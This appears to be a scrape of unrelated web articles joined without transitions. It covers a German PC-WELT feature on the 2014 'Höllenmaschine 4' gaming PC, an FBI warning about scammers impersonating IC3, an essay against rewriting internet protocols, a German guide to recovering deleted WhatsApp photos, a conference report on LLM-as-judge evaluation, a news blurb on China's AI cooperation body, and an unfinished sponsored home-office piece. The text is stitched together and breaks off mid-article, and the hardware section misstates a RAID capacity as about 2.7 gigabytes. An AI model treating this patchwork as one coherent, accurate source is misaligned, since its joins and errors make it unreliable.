Für das lodernde Airbrush und das seitliche Sichtfenster der Höllenmaschine 4 zeichnen sich die Casemodder Martin und Stefan Blass verantwortlich. Sein höllisch gutes Aussehen verdankt das Gehäuse den international bekannten Casemoddern Martin und Stefan Blass. Auf ihrer Website können Sie sich von den Fähigkeiten der kunstfertigen Casemodder überzeugen. Das preisgekrönte Brüderpaar kümmert sich nicht nur um das teuflische Airbrush und bauliche Veränderungen wie das seitliche Sichtfenster, sondern zeichnet sich auch für die Innenbeleuchtung der Gehäusemodifikation verantwortlich.

Die Gebrüder haben für den schönen Schein einen Multidimmer von Richter eingebaut, der LED-Ketten im Gehäuseinnenraum und im Bodenbereich ansteuert. Über die beiliegende Fernbedienung wählen Sie zwischen acht verschiedenen Grundfarben aus, regulieren die Helligkeit und definieren individuelle Farbwechsel.

Bei der Asus Rampage IV Extreme paart sich eine erlesene Hauptplatinen-Ausstattung mit einem detailverliebten UEFI-Bios, das keine Wünsche offen lässt: Die Sockel-LGA2011-Hauptplatine basiert auf dem Intel-Chipsatz X79. Das UEFI-Motherboard besitzt je acht Speicherbänke, SATA- und USB-Ports sowie fünfmal 16x PCI-Express 3.0. Zur Sonderausstattung gehören CMOS-, Start- und Reset-Knopf, Diagnose-LED, Bluetooth-Unterstützung und umfassende Übertaktungsoptionen, die sich zudem in Echtzeit überwachen lassen.

Prozessor: die schnellste Desktop-CPU der Welt

Der Intel Core i7-3960X ist der aktuell schnellste Desktop-Prozessor im Test. Das Intel-Flaggschiff besitzt sechs CPU-Kerne und arbeitet dank Hyperthreading als virtueller 12‑Kern‑Prozessor. Der Werkstakt liegt bei 3,3 Gigahertz, in der Höllenmaschine 4 läuft der Core i7 mit 4 GHz. Berechnungen puffert der 3960X in einem dreistufigen Cache-System: So ist die dritte Cache-Stufe, die alle Prozessorkerne dynamisch nutzen können, 15 MB mächtig. Auf die erste und zweite Cache-Stufe mit 64 beziehungsweise 256 KB darf hingegen jeder CPU-Kern exklusiv zugreifen.

Eine der wichtigsten exklusiven Funktionen der LGA2011-Baureihe ist der integrierte Speicher-Controller, der vier DDR3-Kanäle gleichzeitig ansteuert. Ebenfalls in der CPU verbaut sind 40 PCI-Express-3.0-Kanäle. Zur weiteren Ausstattung gehören der Schutz vor Angriffen durch einen Puffer-Überlauf (XD-Bit), zusätzliche Befehlssätze wie SSE 4.2 und das Advanced Encryption Standard Instruction Set (AES IS) sowie die Advanced Vector Extensions (AVX). Zudem unterstützt der Prozessor die Virtualisierungs-Technik Intel VT sowie 32- und 64-Bit-Betriebssysteme – so lassen sich etwa virtuelle Workstations mit unterschiedlichen Betriebssystemen einrichten.

Die Wasserkühlung Cooler Master Eisberg 240L Prestige gibt die CPU-Abwärme über einen Dual-Radiator an die Außenwelt ab, der zwei 120-Millimeter-Lüfter beherbergt. Das Rotationstempo der mit knapp 21 dB(A) sehr leisen Lüfter liegt bei 1600 Umdrehungen pro Minute. Im Microchannel-Kühlblock arbeitet deutsche Pumpentechnik, die bis zu 400 Liter pro Stunde durch das Kühlsystem schleudert und für mindestens 50 000 Betriebsstunden ausgelegt ist. Der keramikbeschichtete Pumpenantrieb dreht sich mit bis zu 3600 Rotationen pro Minute.

Grafik: 2x ASUS GTX690-4GD5 im Quad-SLI

Um die Grafikdarstellung kümmert sich in der Höllenmaschine 4 die derzeit leistungsfähigste Grafikkarte der Welt, die ASUS GTX690-4GD5. Kostenpunkt: knapp 1000 Euro pro Stück. Die Karte beherbergt mit der Nvidia Geforce GTX 690 gleich zwei 915 Megahertz schnelle Grafikprozessoren, die gemeinsam die 3D-Berechnung übernehmen.

PC-WELT

In der Höllenmaschine 4 sind gleich zwei der Asus-Doppeldecker, die über eine SLI-Brücke (Scalable Link Interface) verbunden sind. So arbeiten insgesamt vier Grafikprozessoren parallel im Quad-SLI-Modus. In der Summe stehen damit die Rechen-Power von 6144 Shader- und 512 Textur-Einheiten sowie 128 Rasteroperatoren bereit. Dabei kann der Karten-Verbund auf 4 Gigabyte GDDR5-Videospeicher zugreifen, der mit einem effektiven Datentakt von 6000 MHz arbeitet. Jede Grafikkarte besitzt mit einem Mini-Displayport und dreimal DVI vier digitale Ausgänge.

Ausstattung der Höllenmaschine 4 im Überblick

PC-WELT

Monitore: PC-Spiele in 3D auf 3 Panels gleichzeitig

Der Höllenmaschine 4 stellen wir den 27-Zoll-Bildschirm ASUS VG278H zur Seite. Die physikalische Auflösung des 120-Hertz-Monitors beträgt 1920 x1080 Pixel, die Reaktionszeit 2 Millisekunden. Die LED-Hintergrundbeleuchtung erzielt eine Helligkeit von 300 cd/m2 und unterstützt die Lightboost-Technik und damit natürlich auch Nvidia 3D Vision 2 – eine Technologie, die das Spielen in der dritten Dimension möglich macht. Im Lieferumfang des Asus-LCDs ist das “Nvidia 3D Vision”-Set aus Infrarot-Sender (integriert im Bildschirmrahmen) und Shutter-Brille enthalten. Der VG278H bietet mit DVI, HDMI und D-Sub drei Videoeingänge sowie einen Kopfhöreranschluss.

Ein großer 27-Zoll-Monitor ist gut, doch drei ASUS VG278H sind besser. Die gebündelte Auflösung des Bildschirm-Trios von 5760 x 1080 Pixeln erlaubt einen Desktop, auf dem sich bequem arbeiten lässt: Da kann man zahlreiche Fenster in ihrer vollen Größe geöffnet lassen, und behält dennoch den Überblick. Interessant ist diese große Arbeitsumgebung auch für Grafiker und Video-Bearbeiter, die dadurch gleich mehrere Projekte am Laufen halten, ohne eines schließen zu müssen.

Ernsthaften PC-Spielern kann dagegen die Bildschirmgröße nicht groß genug sein – denn sie bedeutet größere Übersicht und ein realistischeres Spielerlebnis. So füllt etwa die wunderschöne Landschaft in Skyrim die volle Breite der drei Monitore aus und wirkt dadurch schon fast wie ein echter Horizont, der Lust auf das Erkunden macht. Dank der brachialen Leistung der Höllenmaschine 4 und Nvidia 3D Vision Surround geht das auch flüssig in stereoskopischem 3D.

Arbeitsspeicher: Quad-Channel mit 64 Gigabyte

Speicher kann man nie genug haben! Die acht Module Adata XPG X Series PC3-17066U mit jeweils 8 Gigabyte Kapazität steuert der Controller in der Intel-CPU im Vierkanal-Modus an. Die Module laufen mit 10-11-11-30er-Zugriffszeiten. Der mit dem Extreme Memory Profile (XMP) effektiv 2133 Megahertz schnelle Arbeitsspeicher beschert der Höllenmaschine 4 eine Speicherbandbreite von über 45 Gigabyte pro Sekunde. Da macht Virtualisierung so richtig Spaß.

PCI-Express-SSD, 4 WD VelociRaptor und 4 WD Caviar Green

Das Betriebssystem und alle Programme dürfen auf der Solid State Drive OCZ RevoDrive 3 X2 480GB Platz nehmen. Die Flashspeicher-Festplatte arbeitet mit vier Sandforce-SF-2281-Controllern intern als Raid-0-Verbund. Dadurch erreicht die SSD eine Datentransferrate von in der Spitze fast 1400 Megabyte pro Sekunde und einen Befehlsdurchsatz von bis zu 230.000 IOPS beim zufälligen Schreiben von 4-KB-Blöcken. Eine herkömmliche SATA-Schnittstelle würde das OCZ-Modell ausbremsen, deswegen setzt das RevoDrive auf einen PCI-Express-Anschluss.

OCZ/Kioxia

Das interne Backup übernimmt ein RAID-5‑Verbund aus vier 1-Terabyte-Festplatten. Dabei kommt das derzeit schnellste 3,5-Zoll-Laufwerk im Test zum Einsatz, die Western Digital VelociRaptor WD1000DHTZ. Die VelociRaptor rotiert mit 10.000 Umdrehungen pro Minute und puffert Zugriffe in einem 64 MB großen Cache. Die maximale Datenrate der Festplatte liegt bei 210 Megabyte pro Sekunde, die durchschnittliche Zugriffszeit bei 3,7 Millisekunden. Als RAID-5‑Verbund kommt das Platten-Quartett auf bis zu 560 Megabyte pro Sekunde und stellt dabei noch knapp 2,7 Gigabyte nutzbare Kapazität zur Verfügung.

Die Aufgabe des klassischen Massenspeichers für umfangreiche Foto-, Musik- und Videosammlungen übernehmen die beiden 3,5-Zoll-Festplatten Western Digital Caviar Green 3000GB WD30EZRX. Die besonders stromsparenden Laufwerke stecken in den zwei abschließbaren Hot-Swap-Schächten der Höllenmaschine 4. So lassen sich schnell und bequem knapp 5,5 Terabyte nutzbarer Speicherplatz im laufenden Betrieb an- und abstöpseln oder auch mal unkompliziert von A nach B tragen.

Stromversorgung: bis zu 105 Ampere auf der 12-Volt-Schiene

Keine Kompromisse machen wir bei der Stromversorgung der Höllenmaschine 4. Das Cooler Master Silent Pro Hybrid 1300W bietet genügend Reserven, um alle Komponenten zuverlässig mit Energie zu versorgen. Das vollständig modulare Netzteil stellt auf der 12-Volt-Schiene in der Spitze bis zu 105 Ampere bereit und federt damit auch locker die Lastspitzen der stromhungrigen Grafikkarten ab.

Aufgrund der “80 PLUS Gold“-Zertifizierung arbeitet das ATX-2.3-Kraftpaket mit einem Wirkungsgrad von über 90 Prozent trotzdem sehr energieeffizient. Dank der semipassiven Kühlung ist das 1300-Watt-Netzteil aber auch flüsterleise. Zudem erlaubt die im Lieferumfang enthaltene 5,25-Zoll-Lüftersteuerung neben dem automatischen Modus ein stufenlos regulierbares Drehtempo für den 130-Millimeter-Lüfter – bei harter Dauerbelastung drehen Sie den Regler einfach voll auf.

Um optische Massenspeicher kümmert sich der Blu-ray-Brenner Asus BW-12B1ST. Das Multi-Norm-Laufwerk versteht sich aber auch auf alle gängigen CD- und DVD-Formate. Bei maximal 12-fachem Schreibtempo füllt das Asus-Modell einen einlagigen 25-GB-BR-Rohling in rund 11 Minuten. BD-REs beschreibt das SATA-Laufwerk mit 2-fachem Tempo, Blu-ray-Medien liest er mit 8-facher Geschwindigkeit. Im Lieferumfang des Asus BW-12B1ST ist Software für das Backup, Brennen und Abspielen von Blu-rays enthalten.

Peripherie: Luxus-Eingabegeräte und 5.1-Raumklang

Die Logitech G9x Laser Mouse kommt mit einem 4-Wege-Scrollrad und löst mit bis zu 5700 dpi auf. Die USB-Maus besitzt eine anpassbare Griffschale sowie ein bis auf 28 Gramm aufrüstbares Gewichtsmagazin. Der interne Speicher sichert bis zu fünf Profile für individuelle Tastatur-Makros und Abtastraten.

Das Logitech G19 Gaming Keyboard besitzt ein integriertes Farb-LCD, das in Echtzeit Spiele-Informationen wie die Server-IP-Adresse oder den Punktestand für über 35 Titel anzeigt. Die G19 erlaubt verschiedene Beleuchtungsfarben und hat 12 voll programmierbare G-Tasten sowie Sondertasten für den schnellen Multimedia-Zugriff. Das Logitech-Modell fungiert aber auch als aktiver 2-fach-USB-Hub und überrascht mit einer Kabelführung auf der Unterseite für Maus und Headset.

Logitech

Das THX-zertifizierte Lautsprecherset Logitech Z906 bietet 5.1-Raumklang mit digitaler Dolby- und DTS-Decodierung. Bis zu sechs digitale und analoge Audioquellen lassen sich gleichzeitig an die Bedienkonsole anschließen. Alternativ bedienen Sie das 500-Watt-Lautsprechersystem kabellos über die Fernbedienung.

Wer nachts die Nachbarn nicht stören darf, greift zum Logitech G930 Wireless Gaming Headset. Das funkt digital mit 2,4 Gigahertz zehn Stunden lang über eine Reichweite von bis zu 12 Metern. Das Headset kommt mit drei programmierbaren Tasten, Geräuschunterdrückung und Kondensatormikrofon. Dank der Dolby-Technik Headphone und Pro Logic II kann das G930 sogar 7.1-Surround-Sound simulieren.

Kreativ-, Spiele- und Office-Paket für 4000 Euro

Auf der Höllenmaschine 4 vorinstalliert haben wir das 64-Bit-Betriebssystem Windows 7 Ultimate. Für das Microsoft-Betriebssystem haben wir uns auch wegen der DirectX-11-Unterstützung entschieden. Das laut Windows-Experte Hermann Apfelböck “beste Windows aller Zeiten” verwöhnt in der multilingualen Ultimate-Variante mit den exklusiven Funktionen Bitlocker-Verschlüsselung und dem nützlichen VHD-Boot.

Dazu gibt es drei fette Software-Pakete frei Haus. Das Highlight für Kreative ist die Adobe Creative Suite 6 Design & Web Premium. Die „Rundum glücklich“-Lösung für professionelle Bildbearbeitung, Layout und Website-Design integriert die Digital Publishing Suite und enthält folgende Programme und Werkzeuge: Acrobat X Pro, Bridge, Dreamweaver, Flash Builder, Flash Professional, Fireworks, Illustrator, InDesign, Media Encoder und Photoshop Extended.

Was zum Spielen spendiert Grafikspezialist Nvidia der Höllenmaschine 4. Das Gaming-Paket enthält die AAA-Titel Alan Wake Collector’s Edition, Batman: Arkham City, Battlefield 3, Borderlands, Call of Duty: Modern Warfare 3, Crysis 2, Diablo 3, Deus Ex: Human Revolution, Duke Nukem Forever, L.A. Noire, Mass Effect 3, Max Payne 3, Metro 2033, Rage, Skyrim, Starcraft II: Wings of Liberty, Star Wars. The Old Republik, The Witcher 2: Assassins of Kings.

Und wer die Höllenmaschine im Büroeinsatz unterfordern will, installiert Microsoft Office Professional 2010. Das Paket enthält die Programme Access, Excel, InfoPath, OneNote, Outlook, Powerpoint, Publisher, SharePoint, Word und Workspace.

Hinweis: Hier endet der Artikel über die Höllenmaschine 4 aus dem Jahre 2014.

So gewinnen Sie die HMX 6

Auch dieses Jahr verlosen wir die Höllenmaschine unter allen Teilnehmern:

Wie Sie die HMX 6 verfolgen können

In den kommenden Wochen folgen weitere Inhalte rund um die Höllenmaschine 6 auf YouTube, Instagram, TikTok, Facebook und natürlich auf pcwelt.de. Wenn Sie nichts verpassen wollen, sollten Sie den kostenlosen HMX-6-Newsletter abonnieren – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen.

The FBI IC3 scam has evolved into a broader fraud scheme in which criminals impersonate FBI personnel and the Internet Crime Complaint Center (IC3) to target people who have already fallen victim to scams. According to an updated Public Service Announcement (PSA), scammers are using AI-generated videos, fake social media profiles, and spoofed websites to create a false sense of trust while attempting to steal personal and financial information.

The updated warning describes several exploitation tactics, including targeting previous scam victims, using artificial intelligence to create fictitious or misleading promotional materials, and building fake websites designed to collect personally identifiable information. The scammers falsely claim to be affiliated with government agencies or law enforcement and often promise to help victims recover lost funds.

FBI IC3 Scam Targets Previous Fraud Victims

In one version of the FBI IC3 scam, criminals create fake social media profiles and pages that impersonate FBI personnel. The goal is to lure previous scam victims into what the PSA describes as "re-targeting" scams.

After realizing they have been defrauded, victims may tell the original scammers they plan to report the incident to the FBI and submit an IC3 complaint. The victim is then contacted by someone pretending to be an FBI agent through platforms such as Facebook Messenger and Telegram.

The impersonator may send a link claiming to update an existing IC3 complaint. The link could contain malicious code or collect additional financial information, allowing criminals to further exploit the victim.

In other cases, scammers approach victims through email, phone calls, social media advertisements, or online forums. They claim to have recovered lost funds or offer assistance in recovering money. The FBI warning states these claims are a ruse designed to revictimize people who have already lost money.

AI-Generated Videos Promote Spoofed IC3 Websites

Another version of the scheme involves AI-generated videos or deepfakes featuring individuals impersonating FBI personnel. The videos are used on social media to promote spoofed versions of the official IC3 website.

One reported example involved an AI-generated video depicting a senior FBI leader encouraging users to submit complaints through a fake IC3 website. The spoofed site was designed to resemble the legitimate government website, but its functionality was limited to complaint submission.

The fake complaint form requested information including a user's name, phone number, email address, scam type, and estimated financial loss. After submission, the site provided a reference number and claimed someone would contact the individual.

How to Spot AI-Generated Videos and Fake Messages

The PSA warns that scammers can use AI-generated videos and cloned voices to impersonate company executives, law enforcement personnel, and other authority figures. These materials may be used during real-time video chats or private communications to convince victims they are speaking with a legitimate person.

People are advised to carefully examine email addresses, phone numbers, URLs, and spelling for subtle inconsistencies. Potential warning signs in manipulated images and videos include distorted hands or feet, unrealistic facial features, irregular faces, unusual accessories, inaccurate shadows, watermarks, unnatural movements, and voice call delays.

The FBI also advises people to be cautious when online content triggers strong emotions such as fear, anger, or disbelief. Users should verify surprising videos or images through reputable news sources or known official channels before responding.

IC3 does not maintain a social media presence and will not contact individuals directly through phone, email, social media, messaging apps, online chats, or public forums. The agency also does not recover funds for victims through Facebook or Telegram and will never request payment for fund recovery.

People seeking to file an IC3 complaint should type www.ic3.gov directly into their browser and verify that the website address ends in ".gov." Victims should avoid sponsored search results and suspicious links, and should never share sensitive information with websites they cannot verify.

Anyone who has fallen victim to the scam should report it through the legitimate IC3 website and provide details about the person or company involved, communication methods, financial transactions, and interactions with the scammer.

Dieser Beitrag N-Hour statt N-Day: Warum Patch-Schnelligkeit keine Sicherheit mehr garantiert erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

This is somewhere between a pretty bad idea and a horrible idea.

The wholesale replacement of a huge chunk of protocol architectures is a hallmark of a lot of the AI-generated protocol proposals that have flooded the IETF. A small blemish is identified, then the fix is a whole new protocol, or a major piece of surgery. No regard for the wisdom of Chesterton’s Fence or the accumulated knowledge and usefulness embodied in what exists.

Experienced engineers know that rewriting a code module is not something you do lightly. There’s lots of literature out there about why this is a bad idea generally, and some emerging discussion about how AI might just change that.

The reasons not to rewrite a software component still largely apply to a protocol component. The reasons that AI might make it easier to do that safely, less so. Protocols are different.

Wholesale Change Will Miss Use Cases

Just like with a code change, a protocol component that changes will miss use cases that people really care about.

The usual concerns with code apply:

• The existing features you know about and can test for can be handled.
• The existing problems you know and care about can be fixed.
• You inevitably introduce brand-new problems.
• The existing features you don’t know about get lost.

Unlike code changes, you probably don’t have a test case for existing features that you didn’t know about. We found that with HTTP/2, where a number of use cases got lost in the process of “upgrading” HTTP.

In HTTP/1.1, performing client authentication in the middle of request was possible. Losing that capability in HTTP/2 affected few enough people that it was not badly damaging for the ecosystem. It still sucked.

A lot of work was done to try to find these issues, but we did not learn about these problems until fairly late in the process.

Proposing a protocol change means asking a whole lot of other people, many of whom are not invested in your goals, to do that work.

Changing a protocol by replacing a chunk of it, no matter how much care is taken, either asks the entire ecosystem to change with you.

That means asking everyone to move with you. If they don’t, you are not changing the protocol, you are forking it.

Forking A Protocol Destroys Interoperability

The real value of having a protocol like TLS is that a great many things can all talk to each other.

Forking a protocol – and sometimes profiling a protocol, a subject for another post – destroys that. You now have two ways to achieve the same goal, and a choice to join one of two clubs. You can join both, but that means constantly translating back and forth, something that can only get harder over time as protocol semantics diverge.

And yes, in case you were asking, this applies to the entirety of the IETF IoT sphere, which has parallel HTTP, TLS, and other analogues. Ostensibly, these address the needs of highly constrained hardware, but the cost is an ecosystem cut off from the mainstream.

But Fixing Protocols Is Hard

Yes, existing protocols come with baggage or technical debt. Maybe they aren’t perfectly optimized for your use.

The value that an existing protocol carries is that you are sharing the burden of its maintenance with a great many more people. Fixing it, maybe by adding extensions to support your needs, comes with opportunities to improve the protocol even beyond that immediate need. Every change is a chance to work off some of the accumulated cruft.

Major refreshes, like the TLS 1.3 reworking, cleared out a ton of cruft in the process. You get to benefit from the work that others do to improve that protocol too.

Do the Work

It is hard to be a responsible steward for the fabric of the Internet. We do it because it is worthwhile. Ignoring the lessons of the past is not helpful.

Gelöschte Whatsapp-Fotos und -Videos lassen sich in vielen Fällen wiederherstellen – über das lokale Dateisystem, ein Google-Drive-Backup oder die iCloud. Welche Methode für Sie die richtige ist, hängt von Ihrem Betriebssystem ab und davon, ob Sie Whatsapp-Backups aktiviert haben. Wir führen Sie Schritt für Schritt durch alle Optionen.

Schnell-Check: Ist das Bild wirklich weg?

Bevor Sie aufwendige Wiederherstellungsversuche starten, sollten Sie zuerst zwei kurze Checks durchführen. Manchmal ist die Lösung nämlich viel einfacher, als wir denken:

• Galerie prüfen: Öffnen Sie Ihre Fotos- oder Galerie-App und suchen Sie dort nach dem Album “Whatsapp” oder “Whatsapp Images”. In manchen Fällen wird ein Bild nur im Chat nicht mehr angezeigt, ist aber noch vollständig im Speicher Ihres Handys vorhanden. Voraussetzung ist, dass die automatische Medienspeicherung in Whatsapp aktiviert ist. Mehr dazu in unserem Artikel Whatsapp-Speicher aufräumen: So löschen Sie unnötige Dateien sicher.
• Erneut herunterladen: Öffnen Sie den betreffenden Whatsapp-Chat. Falls Sie anstelle des Bildes nur eine verschwommene Vorschau mit einem Download-Pfeil sehen, tippen Sie darauf. Whatsapp lädt das Bild erneut von seinen Servern, sofern es noch nicht zu lange zurückliegt.

PC-Welt

Bleibt das Bild trotz der Checks unauffindbar, haben Sie noch weitere Möglichkeiten. Die wichtigsten stellen wir Ihnen in den folgenden Abschnitten vor.

Methode 1: Dateisystem durchsuchen (Android)

Auch wenn ein Bild aus dem Whatsapp-Chat gelöscht wurde und nicht mehr in der Galerie auftaucht, kann es sich noch im Dateisystem des Smartphones befinden. Auf Android legt Whatsapp Mediendateien im internen Speicher unter folgendem Pfad ab: Interner Speicher → Android → media → com.whatsapp → WhatsApp → Media → WhatsApp Images. Für Videos schauen Sie entsprechend im Ordner “WhatsApp Video” nach.

Um in diesen Ordner zu gelangen, benötigen Sie einen Dateimanager. Auf neueren Android-Versionen reicht dafür oft die vorinstallierte App Dateien aus, alternativ funktionieren kostenlose Apps wie der Total Commander aus dem Play Store. Gehen Sie dann so vor:

1. Öffnen Sie die App Dateien oder einen Dateimanager Ihrer Wahl.
2. Navigieren Sie zu Interner Speicher → Android → media → com.whatsapp → WhatsApp → Media.
3. Öffnen Sie den Ordner Whatsapp Images für Fotos oder WhatsApp Video für Videos.
4. Suchen Sie dort nach der gewünschten Datei und kopieren Sie sie an einen sicheren Ort.

Wichtig: Diese Methode funktioniert nur, wenn das Bild zwar aus dem Chatverlauf entfernt, aber die lokal gespeicherte Kopie noch nicht überschrieben wurde. Je länger Sie warten, desto unwahrscheinlicher wird ein Erfolg.

Methode 2: Backup wiederherstellen (Android & iPhone)

Wenn das Bild weder in der Galerie noch im Dateisystem zu finden ist, bleibt der Weg über ein Backup. Whatsapp sichert Chats und Mediendateien regelmäßig automatisch – auf Android in Google Drive und auf dem iPhone in der iCloud. Entscheidend ist, dass das Backup vor dem Löschen des Bildes erstellt wurde.

Prüfen Sie zunächst, wie weit das letzte Backup zurückliegt: Öffnen Sie Whatsapp und navigieren Sie zu Einstellungen → Chats → Chat-Backup. Dort sehen Sie Datum und Uhrzeit der letzten Sicherung. Liegt dieses Datum vor dem Zeitpunkt, an dem das Bild gelöscht wurde, sind Ihre Chancen gut.

Gehen Sie dann so vor:

1. Deinstallieren Sie Whatsapp. Halten Sie dazu das App-Symbol gedrückt und tippen Sie auf Deinstallieren (Android) oder App entfernen (iPhone).
2. Laden Sie Whatsapp neu herunter und installieren Sie die App.
3. Melden Sie sich mit Ihrer Telefonnummer an. Whatsapp erkennt das vorhandene Backup automatisch.
4. Tippen Sie auf Wiederherstellen, um Chats und Medien zurückzuholen.

Achtung: Alle Nachrichten und Medien, die nach dem letzten Backup eingegangen sind, gehen bei diesem Vorgang verloren.

Sonderfall: Das Bild wurde “für alle” gelöscht

Whatsapp erlaubt es, versendete Nachrichten nachträglich bei allen Empfängern zu entfernen. Hat der Absender ein Bild mit “Für alle löschen” entfernt, erscheint im Chat nur noch der Hinweis “Dieses Medium wurde gelöscht”. Weder Backup noch Dateisystem helfen hier weiter, da das Bild nie dauerhaft auf Ihrem Gerät gespeichert wurde.

Eine Ausnahme gibt es: Hatte Ihr Handy das Bild bereits automatisch in der Galerie gespeichert, bevor der Absender es gelöscht hat, ist diese Kopie weiterhin vorhanden. Whatsapp entfernt bei “Für alle löschen” nur die Kopie im Chat, nicht eine bereits in der Galerie gesicherte Version. Mehr zum Thema Gelöschte Whatsapp-Nachrichten und wie Sie diese trotzdem lesen können, erfahren Sie hier.

Datenrettungs-Software: Finger weg oder sinnvoll?

Im Netz werden zahlreiche Tools beworben, die angeblich gelöschte Whatsapp-Fotos direkt aus dem Speicher retten; darunter “Dr.Fone”, “PhoneRescue” oder “Tenorshare UltData”.

Viele werben damit, ohne Root-Zugriff auszukommen. Das stimmt – mit einer wichtigen Einschränkung: Was diese Tools in der Praxis hauptsächlich tun, ist, den Inhalt eines vorhandenen Google-Drive- oder iCloud-Backups auszulesen und selektiv wiederherzustellen. Das ist durchaus praktisch, hilft aber nur, wenn das gesuchte Bild im Backup enthalten war.

Eine echte Wiederherstellung gelöschter Dateien direkt aus dem freien Gerätespeicher (also ohne jegliches Backup) ist auf modernen Android-Geräten durch das Betriebssystem stark eingeschränkt und gelingt in der Praxis selten zuverlässig. Unser Rat: Bleiben Sie skeptisch, denn die Preise für solche Tools sind oft hoch und die Erfolgsaussichten gering.

So verlieren Sie künftig keine Whatsapp-Medien mehr

Der zuverlässigste Schutz vor Datenverlust ist und bleibt ein aktuelles Backup. Aktivieren Sie in Whatsapp unter Einstellungen → Chats → Chat-Backup die tägliche automatische Sicherung und stellen Sie sicher, dass Ihr Google- oder Apple-Account genug freien Speicher hat.

Zusätzlich empfiehlt es sich, die automatische Medienspeicherung aktiviert zu lassen, damit Fotos direkt in der Galerie landen und damit eine zweite Kopie außerhalb des Chats existiert. Bedenken Sie dabei nur, dass das den Speicher schnell füllen kann.

Weiterführender Lesetipp: 12 neue Whatsapp-Funktionen, die Sie ab sofort nutzen können

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At VB Transform 2026, Harrison Chase, CEO of LangChain; Hui Zhang, CTO and co-founder of Conviva; and Emmanuel Turlay, director of engineering at CoreWeave, described that shift, along with a parallel move toward cheaper, narrower judge models.

Agent-as-judge — judging one AI agent's output with another — hasn't replaced LLM-as-judge, which Chase said remains the default. The larger tension, Zhang said, is between automated judging, whether by LLM or agent, and human review.

"You have scalable but ungrounded, whether it's agents as judge or LLMs as judge, you grade the outcome, you grade the work. It still is very difficult to ground it and then you use humans and that's just not scalable," Zhang said. "The whole industry is facing this, which poison you want to pick."

Evaluation criteria now function as the product spec

That gap — a conversation that scores well but still signals a broken product — is what teams try to close by building an exhaustive evaluation suite before they ship anything. Chase said that doesn't work.

"We sometimes see teams that have almost eval paralysis," Chase said. "They're like, this is an eval set, I can't launch it. The best teams launch and then iterate."

Chase framed evaluation criteria as a living specification, not a one-time test suite: a product requirements document — the standard software-development spec for what an application should do. "Evals are like the new PRD," he said. "They define what your agent should and shouldn't do."

Turlay described hitting the same failure from a different angle. "I was trying to reach 100% coverage for my tests, and I still had bugs in production," he said — a test suite that looked complete but still missed what mattered, the same gap Chase was describing with evals.

Broad, always-on monitoring, he said, catches more real failures than an exhaustive pre-launch test suite. Teams should set up wide online checks first, use those to identify failure classes as they occur, then build a targeted offline evaluation set around the problems that surface.

Why scoring traces one at a time is a mistake

Even a well-built evaluation process can still score the wrong thing. Zhang's objection is to how most teams run evaluation: sampling traces, whether 50 of them or a full population, scoring each in isolation. That approach misses a signal that only shows up when comparing cohorts of users against a baseline, a method Zhang calls contrastive analysis.

Zhang illustrated it with a retail example: a shopper asks an agent for a running shoe ahead of a half marathon, the agent asks qualifying questions, and the shopper buys a shoe. Scored individually, that interaction looks fine. But the clarification ratio, how many follow-up questions an agent asks before completing a task, came in three times higher than baseline for that shoe category across the full user population. A second metric, how often shoppers finished their purchase outside the conversation, was five times higher than baseline for the same category.

Neither number is visible from a single trace. Both point to a debuggable, category-specific problem. Zhang said the industry also lacks a second data source: what happens before, between and after the conversation, not just the trace itself.

Sizing the judge to the job

Once contrastive analysis flags which category is actually broken, the next problem is what watches for it going forward — and at what cost. Turlay's rule was to start with the most capable model available to prove a task is solvable, then work down. If it can't be done with a top-tier model, he said, it won't work with a smaller one. Once a pattern proves viable, teams can sample a fraction of traffic instead of judging every interaction, and move simpler tasks like binary classification to smaller open source models.

LangChain took that further, fine-tuning its own model to detect when a user believes the agent made a mistake, a signal Chase calls perceived error. "The model we fine-tuned was a Qwen model," he said, referring to Alibaba's open source family. Combining hand labeling with distillation, the result performed well. "Same as [Claude]Sonnet, for, depending on how we served it, either 10 to 100x cost reduction," Chase said.

Not every guardrail needs a model. Chase pointed to Claude Code's own guardrails as proof: regexes, the common programming technique for finding and validating patterns in code. "A lot of the guardrails they had were just regexes," he said. "They weren't small LLMs, they were just regexes."

LLM-as-judge doesn't mean human-in-the-loop disappears

The bigger question is whether using LLM as a judge removes the need for a human in the loop.

Turlay pointed to accountability, drawing on his prior work at a self-driving car company. His team compressed data intake and retraining into a two-week cycle for shipping a new model to the car. Even then, someone still had to sign off.

"I felt confident on behalf of the company to say this model should go into the car," he said. The same logic extends to legal, finance and healthcare. "Before we can remove a human to say, I endorse this and I take responsibility legally for it, it's going to be a while before agents can do that on their own."

Zhang agreed a human has to remain the guardian on corner cases, even as automation eventually runs at a scale that beats individual human accuracy — machines can see more at the pattern level.

Chase went further: that human check isn't just a safety net. "Human in the loop is really important for building trust in how these agentic systems work, and also really important for memory and learning from systems," he said. "There has to be interactions in order for the system to learn."

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At the World AI Conference in Shanghai, Xi Jinping announced 5,000 AI training slots for Global South countries and the launch of the "World Artificial Intelligence Cooperation Organization." Cooperation centers with ASEAN, the African Union, BRICS, and other alliances are planned to follow. China is systematically building a parallel AI governance structure outside Western influence.

The article China's new World Artificial Intelligence Cooperation Organization is President Xi's clearest play yet for a parallel AI order appeared first on The Decoder.

Das Homeoffice ist längst ein fester Bestandteil des Arbeitsalltags. Doch während Software und Cloud-Dienste ständig weiterentwickelt werden, arbeiten viele Nutzer noch immer an veralteten Schreibtischen, unbequemen Stühlen oder mit unpraktischen Monitor-Set-ups. Das kostet im besten Fall Zeit und Konzentration – im schlimmsten Fall geht es zulasten der Gesundheit.

2026 rückt deshalb die physische Arbeitsumgebung in den Fokus: Ergonomie, smarte Konnektivität und leistungsfähige Hardware entscheiden darüber, wie effizient, konzentriert und erfolgreich wir arbeiten. Schon gezielte Upgrades bei Monitoren, Eingabegeräten oder der Büroausstattung sorgen für spürbar mehr Komfort und einen deutlich besseren Workflow. Wir zeigen Ihnen die besten Hardware-Empfehlungen für ein modernes Homeoffice.

PROMOTION

Ihr Bildschirm wirkt blass? Dieses OLED-Display setzt neue Maßstäbe

Das HP OmniBook X Flip überzeugt mit einem farbstarken 3K-OLED-Touchdisplay und 120 Hz für die gestochen scharfe Darstellung von Text, Grafik und Video. Der Intel® Core™ Ultra 5 Prozessor mit Intel® Arc™ Grafik meistert Ihren Arbeitsalltag mühelos, während Thunderbolt™ 4 und Wi-Fi 7 für schnelle Verbindungen sorgen. Windows Hello per IR-Kamera macht die Anmeldung besonders komfortabel.

Erfahren Sie mehr über das HP OmniBook X Flip

Die wichtigsten Hardware-Upgrades für Ihr Homeoffice

